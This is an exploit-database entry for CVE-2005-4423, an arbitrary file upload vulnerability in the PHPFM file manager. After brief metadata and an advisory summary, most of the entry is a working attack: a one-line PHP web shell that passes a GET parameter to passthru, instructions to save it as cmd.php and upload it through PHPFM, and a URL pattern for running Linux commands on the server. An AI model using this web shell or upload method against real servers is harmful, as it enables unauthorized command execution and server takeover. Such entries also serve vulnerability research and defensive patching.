PHPFM - Arbitrary File Upload

Author: rUnViRuS
type: webapps
platform: php
port: 
date_added: 2005-11-07 
date_updated: 2013-06-29 
verified: 1 
codes: CVE-2005-4423;OSVDB-22799 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/15335/info

PHPFM is prone to an arbitrary file upload vulnerability.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the Web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

---------------
<pre>
<?
passthru($_GET['cmd']);
?>>

save as > cmd.php
now upload in PHPFM


http://www.esxample.com/[file upload name]/[files]/cmd.php?cmd=[command linux]